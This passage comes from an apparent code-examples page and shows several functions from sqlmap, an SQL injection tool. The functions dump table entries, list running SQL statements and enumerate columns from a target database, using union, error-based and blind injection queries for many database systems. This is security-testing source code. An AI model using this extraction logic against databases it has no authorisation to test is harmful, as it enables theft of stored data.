                                        index or 0, (num, None))
                                items = output.replace(
                                    kb.chars.start,
                                    "").replace(kb.chars.stop,
                                                "").split(kb.chars.delimiter)

                            if conf.verbose == 1 and not (
                                    threadData.resumed
                                    and kb.suppressResumeInfo):
                                status = "[%s] [INFO] %s: %s" % (
                                    time.strftime("%X"), "resumed"
                                    if threadData.resumed else "retrieved",
                                    safecharencode(",".join(
                                        "\"%s\"" % _ for _ in flattenValue(
                                            arrayizeValue(items)))))

                                if len(status) > width:
                                    status = "%s..." % status[:width - 3]

                                dataToStdout("%s\r\n" % status, True)
Beispiel #21
0
    def dumpTable(self, foundData=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) entries"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.db = conf.db.upper()

            if  ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise SqlmapMissingMandatoryOptionException(errMsg)

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]
            elif not conf.search:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise SqlmapNoneDataException(errMsg)
            else:
                return

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        for tbl in tblList:
            conf.tbl = tbl
            kb.data.dumpedTable = {}

            if foundData is None:
                kb.data.cachedColumns = {}
                self.getColumns(onlyColNames=True, dumpMode=True)
            else:
                kb.data.cachedColumns = foundData

            try:
                kb.dumpTable = "%s.%s" % (conf.db, tbl)

                if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
                   or safeSQLIdentificatorNaming(tbl, True) not in \
                   kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
                   or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                    warnMsg = "unable to enumerate the columns for table "
                    warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
                colList = sorted(filter(None, columns.keys()))

                if conf.excludeCol:
                    colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]

                if not colList:
                    warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += " (no usable column names)"
                    logger.warn(warnMsg)
                    continue

                colNames = colString = ", ".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colNames
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                for column in colList:
                    _ = agent.preprocessField(tbl, column)
                    if _ != column:
                        colString = re.sub(r"\b%s\b" % re.escape(column), _, colString)

                entriesCount = 0

                if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            retVal = pivotDumpTable(table, colList, blind=False)

                            if retVal:
                                entries, _ = retVal
                                entries = zip(*[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = whereQuery(query)

                    if not entries and query:
                        entries = inject.getValue(query, blind=False, time=False, dump=True)

                    if not isNoneValue(entries):
                        if isinstance(entries, basestring):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, basestring):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))
                                maxLen = max(len(column), _)

                                if maxLen > kb.data.dumpedTable[column]["length"]:
                                    kb.data.dumpedTable[column]["length"] = maxLen

                                kb.data.dumpedTable[column]["values"].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colNames
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = whereQuery(query)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colNames
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)

                        retVal = pivotDumpTable(table, colList, count, blind=True)

                        if retVal:
                            entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            for column in colList:
                                if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0':
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column),
                                                                        tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())),
                                                                        index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)

                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)

                                    query = whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))
                                    lengths[column] = max(lengths[column], len(_))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colNames
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {"count": entriesCount,
                                                        "table": safeSQLIdentificatorNaming(tbl, True),
                                                        "db": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError), ex:
                        errMsg = "an error occurred while attacking "
                        errMsg += "table dump ('%s')" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException, ex:
                errMsg = "connection exception detected in dumping phase "
                errMsg += "('%s')" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
Beispiel #22
0
    def getStatements(self):
        infoMsg = "fetching SQL statements"
        logger.info(infoMsg)

        rootQuery = queries[Backend.getIdentifiedDbms()].statements

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
            query = rootQuery.inband.query

            while True:
                values = inject.getValue(query, blind=False, time=False)

                if not isNoneValue(values):
                    kb.data.cachedStatements = []
                    for value in arrayizeValue(values):
                        value = (unArrayizeValue(value) or "").strip()
                        if not isNoneValue(value):
                            kb.data.cachedStatements.append(value.strip())

                elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query:
                    query = query.replace("query", "current_query")
                    continue

                break

        if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct:
            infoMsg = "fetching number of statements"
            logger.info(infoMsg)

            query = rootQuery.blind.count
            count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

            if count == 0:
                return kb.data.cachedStatements
            elif not isNumPosStrValue(count):
                errMsg = "unable to retrieve the number of statements"
                raise SqlmapNoneDataException(errMsg)

            plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
            indexRange = getLimitRange(count, plusOne=plusOne)

            for index in indexRange:
                value = None

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):  # case with multiple processes
                    query = rootQuery.blind.query3 % index
                    identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT))

                    if not isNoneValue(identifier):
                        query = rootQuery.blind.query2 % identifier
                        value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT))

                if isNoneValue(value):
                    query = rootQuery.blind.query % index
                    value = unArrayizeValue(inject.getValue(query, union=False, error=False))

                if not isNoneValue(value):
                    kb.data.cachedStatements.append(value)

        if not kb.data.cachedStatements:
            errMsg = "unable to retrieve the statements"
            logger.error(errMsg)
        else:
            kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements]

        return kb.data.cachedStatements
Beispiel #23
0
    def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.db = conf.db.upper()

            if  ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise sqlmapMissingMandatoryOptionException, errMsg

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(",")
        else:
            colList = []

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = filter(None, colList)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise sqlmapNoneDataException, errMsg

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
                errMsg += "back-end DBMS is Access"
                logger.error(errMsg)
                bruteForce = True

        if bruteForce or colList:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise sqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "

                if len(colList) > 0:
                    if colTuple is None:
                        colConsider, colCondParam = self.likeOrExact("column")
                    else:
                        colConsider, colCondParam = colTuple
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                    if colConsider == "1":
                        infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                else:
                    condQuery = ""

                infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl.upper())
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
                                                      conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)
                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.inband.query % tbl

                value = inject.getValue(query, blind=False, time=False)

                if Backend.isDbms(DBMS.SQLITE):
                    parseSqliteTableSchema(unArrayizeValue(value))
                elif not isNoneValue(value):
                    table = {}
                    columns = {}

                    for columnData in value:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if len(columnData) == 1:
                                    columns[name] = ""
                                else:
                                    columns[name] = columnData[1]

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        elif isInferenceAvailable() and not conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % conf.db
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "

                if len(colList) > 0:
                    if colTuple is None:
                        colConsider, colCondParam = self.likeOrExact("column")
                    else:
                        colConsider, colCondParam = colTuple
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                    if colConsider == "1":
                        infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                else:
                    condQuery = ""

                infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl.upper())
                    query += condQuery

                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.blind.count % (conf.db, conf.db, \
                        unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)

                elif Backend.isDbms(DBMS.FIREBIRD):
                    query = rootQuery.blind.count % (tbl)
                    query += condQuery

                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.blind.query % tbl
                    value = inject.getValue(query, union=False, error=False)
                    parseSqliteTableSchema(value)
                    return kb.data.cachedColumns

                count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                if not isNumPosStrValue(count):
                    errMsg = "unable to retrieve the number of columns "
                    errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                    errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.error(errMsg)

                    continue

                table = {}
                columns = {}

                for index in getLimitRange(count):
                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query += condQuery
                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl.upper())
                        query += condQuery
                        field = None
                    elif Backend.isDbms(DBMS.MSSQL):
                        query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index))
                        query += condQuery.replace("[DB]", conf.db)
                        field = condition.replace("[DB]", conf.db)
                    elif Backend.isDbms(DBMS.FIREBIRD):
                        query = rootQuery.blind.query % (tbl)
                        query += condQuery
                        field = None

                    query = agent.limitQuery(index, query, field, field)
                    column = inject.getValue(query, union=False, error=False)

                    if not isNoneValue(column):
                        if not onlyColNames:
                            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
                            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column)
                            elif Backend.isDbms(DBMS.MSSQL):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
                                                                conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                            elif Backend.isDbms(DBMS.FIREBIRD):
                                query = rootQuery.blind.query2 % (tbl, column)

                            colType = inject.getValue(query, union=False, error=False)

                            if Backend.isDbms(DBMS.FIREBIRD):
                                colType = FIREBIRD_TYPES.get(colType, colType)

                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = colType
                        else:
                            column = safeSQLIdentificatorNaming(column)
                            columns[column] = None

                if columns:
                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        table[safeSQLIdentificatorNaming(tbl, True)] = columns
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table

        if not kb.data.cachedColumns:
            errMsg = "unable to retrieve column names for "
            errMsg += ("table '%s' " % tblList[0]) if len(tblList) == 1 else "any table "
            errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
            logger.error(errMsg)

            if bruteForce is None:
                return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)

        return kb.data.cachedColumns
Beispiel #24
0
    def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter, sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.db = conf.db.upper()

            if ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise sqlmapMissingMandatoryOptionException, errMsg

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(",")
        else:
            colList = []

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = filter(None, colList)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                raise sqlmapNoneDataException, errMsg

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        if bruteForce is None:
            if Backend.isDbms(
                    DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
                errMsg += "back-end DBMS is Access"
                logger.error(errMsg)
                bruteForce = True

        if bruteForce or colList:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)] = {
                                safeSQLIdentificatorNaming(tbl, True): columns
                            }

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise sqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION,
                          PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "

                if len(colList) > 0:
                    if colTuple is None:
                        colConsider, colCondParam = self.likeOrExact("column")
                    else:
                        colConsider, colCondParam = colTuple
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(
                        condQueryStr %
                        (condition, unsafeSQLIdentificatorNaming(col))
                        for col in sorted(colList))

                    if colConsider == "1":
                        infoMsg += "like '%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                    else:
                        infoMsg += "'%s' " % ", ".join(
                            unsafeSQLIdentificatorNaming(col)
                            for col in sorted(colList))
                else:
                    condQuery = ""

                infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
